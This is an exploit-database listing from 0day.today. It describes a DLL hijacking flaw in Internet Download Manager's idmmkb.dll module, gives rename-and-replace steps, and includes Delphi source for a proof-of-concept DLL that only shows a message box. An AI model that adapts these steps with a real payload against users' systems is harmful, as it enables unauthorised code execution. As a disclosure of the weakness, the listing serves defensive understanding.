[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Internet Download Manager module (idmmkb.dll) Tonec Inc

Author
STRELiTZIA
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-14025
Category
local exploits
Date add
08-09-2010
Platform
windows
=======================================================
Internet Download Manager module (idmmkb.dll) Tonec Inc
=======================================================

Exploit Title: [Dll Hijacking Exploit]
Application: [Internet Download Manager module(idmmkb.dll) Tonec Inc.]
Author: [STRELiTZIA]
Version: [All Internet Download Manager release]
Tested on: [Windows Xp, Vista, Windows 7]

Description: 
------------
Internet Download Manager module(idmmkb.dll) is a monitor for special keys (Alt, Ctrl, etc.) and for mouse clicks on web links in Internet Browsers.
That allows other applications dynamic link libraries to execute malicious code without the users consent,
in the privilege context of the targeted application.
 
Instructions:
-------------
1- Copy "Test.dll" into %Internet Download Manager folder%
2- Rename "idmmkb.dll" to "idmmkb.dll_Original" 
3- Rename "Test.dll" to "idmmkb.dll"

Perform this tests:
-------------------
- Restart your system.
- Try to run Windows Internet Explorer or Mozilla Firefox.
- Try to open you folders and links locate on your Desktop (My Computer, Recycle bin, My Documents and other...)
- Choose any Link property and click Find target.

Test Dll Delphi Source:
---//--
Library Test;
uses
  Windows;

begin
  MessageBoxA
    (
    0,
    PChar('Yep, I''m running in your system without your permission :)'),
	PChar('Sample'),
    MB_ICONSTOP
    );
end.
---//---
c) 2010 by STRELiTZIA.



#  0day.today [2024-10-05]  #